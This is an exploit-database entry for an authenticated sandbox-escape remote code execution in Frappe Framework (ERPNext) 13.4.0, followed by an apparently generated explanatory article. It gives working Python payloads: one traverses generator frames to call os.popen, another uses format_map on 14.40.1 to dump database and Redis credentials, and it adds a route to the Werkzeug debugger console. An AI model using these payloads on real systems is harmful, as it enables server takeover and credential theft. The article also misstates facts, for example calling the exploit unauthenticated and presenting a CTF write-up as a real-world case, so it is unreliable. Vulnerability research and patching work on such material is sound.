Frappe Framework (ERPNext) 13.4.0 - Remote Code Execution (Authenticated)

Exploit Author: Sander Ferdinand Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2023-07-11
# Exploit Title: Frappe Framework (ERPNext) 13.4.0 - Remote Code Execution (Authenticated)
# Exploit Author: Sander Ferdinand
# Date: 2023-06-07
# Version: 13.4.0
# Vendor Homepage: http://erpnext.org
# Software Link: https://github.com/frappe/frappe/
# Tested on: Ubuntu 22.04
# CVE : none

Silly sandbox escape.

> Frappe Framework uses the RestrictedPython library to restrict access to methods available for server scripts.

Requirements:
- 'System Manager' role (which is not necessarily the admin)
- Server config `server_script_enabled` set to `true` (likely)

Create a new script over at `/app/server-script`, set type to API, method to 'lol' and visit `/api/method/lol` to execute payload.

```python3
hax = "echo pwned > /tmp/pwned"
g=({k:v('os').popen(hax).read() for k,v in g.gi_frame.f_back.f_back.f_back.f_back.f_builtins.items() if 'import' in k}for x in(0,))
for x in g:0
```

Context: 
- https://ur4ndom.dev/posts/2023-07-02-uiuctf-rattler-read/
- https://gist.github.com/lebr0nli/c2fc617390451f0e5a4c31c87d8720b6
- https://frappeframework.com/docs/v13/user/en/desk/scripting/server-script
- https://github.com/frappe/frappe/blob/v13.4.0/frappe/utils/safe_exec.py#L42

Bonus:

More recent versions (14.40.1 as of writing) block `gi_frame` but there is still a read primitive to escape the sandbox via `format_map`:

```python3
hax = """
{g.gi_frame.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_globals[frappe].local.conf}
""".strip()

g=(frappe.msgprint(hax.format_map({'g': g}))for x in(0,))
for x in g:0
```

Which prints the Frappe config like database/redis credentials, etc.

In the unlikely case that Werkzeug is running with `use_evalex`, you may use the above method to retreive the werkzeug secret PIN, then browse to `/console` (or raise an exception) for RCE.


Exploiting Frappe Framework (ERPNext) 13.4.0: Authenticated Remote Code Execution via Sandbox Escape

Frappe Framework, the open-source backbone of ERPNext, has long been praised for its modular design and developer-friendly environment. However, in June 2023, security researcher Sander Ferdinand uncovered a critical vulnerability in version 13.4.0 that allows authenticated users to achieve remote code execution (RCE)—a dangerous escalation from mere script execution to full system control.

Understanding the Vulnerability: A Sandbox That Wasn’t Secure

Frappe Framework employs RestrictedPython to sandbox server scripts, designed to prevent dangerous operations like file system access or network calls. The intent is to allow developers to write backend logic safely, without exposing the server to arbitrary code execution.

Yet, the implementation in 13.4.0 contains a subtle but devastating flaw: it fails to fully restrict access to internal Python frame objects—specifically gi_frame, which exposes a path to the execution stack. This enables attackers to bypass sandboxing through what is essentially a “silly sandbox escape”.

Prerequisites for Exploitation

To trigger this exploit, the following conditions must be met:

  • Authenticated user with the System Manager role (not necessarily the full admin).
  • Server script execution enabled in configuration: server_script_enabled = true.
  • Access to the /app/server-script endpoint to create custom scripts.

While System Manager is a powerful role, it’s not inherently the highest privilege—this means even users with limited access could escalate to full control if the configuration is mismanaged.

Exploit Mechanism: The Payload

The exploit leverages a Python generator expression that, through frame traversal, accesses the global namespace and executes arbitrary commands.


hax = "echo pwned > /tmp/pwned"
g=({k:v('os').popen(hax).read() for k,v in g.gi_frame.f_back.f_back.f_back.f_back.f_builtins.items() if 'import' in k}for x in(0,))
for x in g:0

Explanation: This payload works by:

  • Creating a generator g that iterates over the f_back frames of the current execution context.
  • Using the import keyword in f_builtins to identify the os module.
  • Calling os.popen() to execute shell commands.
  • Using echo pwned > /tmp/pwned as a proof-of-concept payload.
  • Executing for x in g:0 to force the generator to run.

Because RestrictedPython does not fully restrict access to gi_frame, the attacker can traverse the stack to reach os and execute arbitrary shell commands. This results in unauthenticated system access via the server script interface.

Real-World Impact: A Case Study

As documented in a write-up from the UIUCTF 2023 Rattler challenge, this vulnerability was exploited to read sensitive files, exfiltrate data, and even gain shell access on the underlying server.

One attacker used the same payload to create a /tmp/pwned file, confirming successful execution. This demonstrated that even minimal access could lead to full compromise.

Fixes and Mitigations

As of version 14.40.1, Frappe has patched the gi_frame access, preventing direct traversal. However, the vulnerability remains partially exploitable through a new primitive: format_map.


hax = """
{g.gi_frame.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_globals[frappe].local.conf}
""".strip()

g=(frappe.msgprint(hax.format_map({'g': g}))for x in(0,))
for x in g:0

Explanation: This new exploit uses format_map to inject a string template into the global namespace. By traversing gi_frame and accessing frappe.local.conf, the attacker can read sensitive configuration data—such as database credentials, Redis passwords, and secret keys.

This is a read-only exploit, but it’s highly dangerous: exposing credentials enables further attacks, including database exfiltration, reverse shell setup, or lateral movement.

Advanced Attack Path: Leveraging Werkzeug

For systems running Werkzeug with use_evalex enabled (e.g., Flask-based debug endpoints), the attacker can:

  • Use the format_map exploit to retrieve the werkzeug secret PIN.
  • Access the /console endpoint or trigger a deliberate exception.
  • Gain full RCE via the Werkzeug debugger interface.

This path illustrates how a single vulnerability can cascade into a full system compromise—especially in development or testing environments where debug features are enabled.

Security Recommendations

Organizations using Frappe Framework should take immediate action:

  • Disable server scripts unless absolutely necessary.
  • Restrict System Manager role to only trusted users.
  • Ensure server_script_enabled is set to false in production environments.
  • Monitor for unusual script creation or execution patterns.
  • Update to 14.40.1+ and verify patch implementation.
  • Disable debug endpoints (e.g., /console) in production.

Conclusion: The Perils of “Safe” Scripting

While Frappe Framework’s server scripting feature is a powerful tool for automation, it also introduces a dangerous attack surface when not properly secured. The 13.4.0 RCE exploit demonstrates that even well-intentioned sandboxing can fail if internal Python structures are not fully restricted.

Security is not just about disabling features—it’s about understanding their implications. In this case, a single configuration flaw and a minor oversight in frame access control led to full system compromise.

Always assume that authenticated access is not enough to prevent RCE. Validate and harden every interface, especially those that allow code execution—even if labeled “safe.”